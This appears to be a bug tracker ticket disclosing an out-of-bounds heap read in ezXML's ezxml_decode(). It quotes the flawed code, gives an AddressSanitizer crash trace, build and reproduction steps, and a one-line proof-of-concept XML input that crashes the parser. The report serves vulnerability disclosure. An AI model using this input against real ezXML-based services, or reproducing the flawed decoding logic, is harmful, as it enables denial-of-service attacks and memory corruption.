



ezXML Bugs

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#29 Out-of-bounds read in ezxml_decode() leading to heap corruption



Milestone: [v1.0 \(example\)](#) **Status:** open **Owner:** nobody **Labels:** None
Priority: 5
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Version 0.8.6 and CVEs that have been patched

Out-of-bounds read in strchr of ezxml_decode() [ezxml.c:198:25]

```
if (ent[b++]) { // found a match
    if ((c = strlen(ent[b])) - 1 > (e = strchr(s, ';')) - s) {
        l = (d = (s - r)) + c + strlen(e); // new length
        r = (r == m) ? strcpy(malloc(l), r) : realloc(r, l);
        e = strchr((s = r + d), ';'); // out-of-bounds read
    }
}
```

May cause DOS attack

Crash Info

```

./ezxmltest ../poc/ezxml-poc.xml =====
==2357578==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000021 at pc 0x000000000000
READ of size 7 at 0x603000000021 thread T0
   #0 0x430ff3 in strchr (/home/migraine/下载/ezxml/ezxmltest+0x430ff3)
   #1 0x4cc6e7 in ezxml_decode /home/migraine/下载/ezxml/ezxml.c:198:25
   #2 0x4cdb26 in ezxml_char_content /home/migraine/下载/ezxml/ezxml.c:242:22
   #3 0x4d607b in ezxml_parse_str /home/migraine/下载/ezxml/ezxml.c:592:21
   #4 0x4d7d5d in ezxml_parse_fd /home/migraine/下载/ezxml/ezxml.c:642:30
   #5 0x4e0192 in ezxml_parse_file /home/migraine/下载/ezxml/ezxml.c:660:19
   #6 0x4e0192 in main /home/migraine/下载/ezxml/ezxml.c:1009:11
   #7 0x7fde60920564 in __libc_start_main csu/../csu/libc-start.c:332:16
   #8 0x41c33d in _start (/home/migraine/下载/ezxml/ezxmltest+0x41c33d)

0x603000000021 is located 0 bytes to the right of 17-byte region [0x603000000010,0x603000000027)
allocated by thread T0 here:
   #0 0x49759d in malloc (/home/migraine/下载/ezxml/ezxmltest+0x49759d)
   #1 0x4cc683 in ezxml_decode /home/migraine/下载/ezxml/ezxml.c:197:43
   #2 0x4cdb26 in ezxml_char_content /home/migraine/下载/ezxml/ezxml.c:242:22
   #3 0x4d7d5d in ezxml_parse_fd /home/migraine/下载/ezxml/ezxml.c:642:30
   #4 0x4e0192 in ezxml_parse_file /home/migraine/下载/ezxml/ezxml.c:660:19
   #5 0x4e0192 in main /home/migraine/下载/ezxml/ezxml.c:1009:11

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/migraine/下载/ezxml/ezxmltest+0x430ff3)
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00[01]fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:      fa
Freed heap region:      fd
Stack left redzone:     f1
Stack mid redzone:      f2
Stack right redzone:    f3
Stack after return:    f5
Stack use after scope:   f8
Global redzone:         f9
Global init order:      f6
Poisoned by user:       f7
Container overflow:     fc
Array cookie:           ac
Intra object redzone:   bb
ASan internal:          fe
Left alloca redzone:    ca
Right alloca redzone:   cb
Shadow gap:             cc
==2357578==ABORTING

```

Turning off ASAN can still trigger a segment fault

```

$ gdb -q ./ezxmltest
(gdb) r ../ezxml-poc.xml
Starting program: /home/migraine/下载/poc/ezxml/ezxmltest ../ezxml-poc.xml
Program received signal SIGSEGV, Segmentation fault.

```

How to Crash

Download ezxml from https://sourceforge.net/p/ezxml
<pre>cd ezxml AFL_USE_ASAN=1 make test CC=afl-clang CXX=afl-clang++ <i>#compile with ASAN</i> or make test <i>#compile normal</i> ./ezxmltest ezxml-poc.xml</pre>
<h2>POC</h2> <p>ezxml-poc.xml</p> <pre><e>&#xeeeeeeEeeee1;&lt;</e>>></pre>
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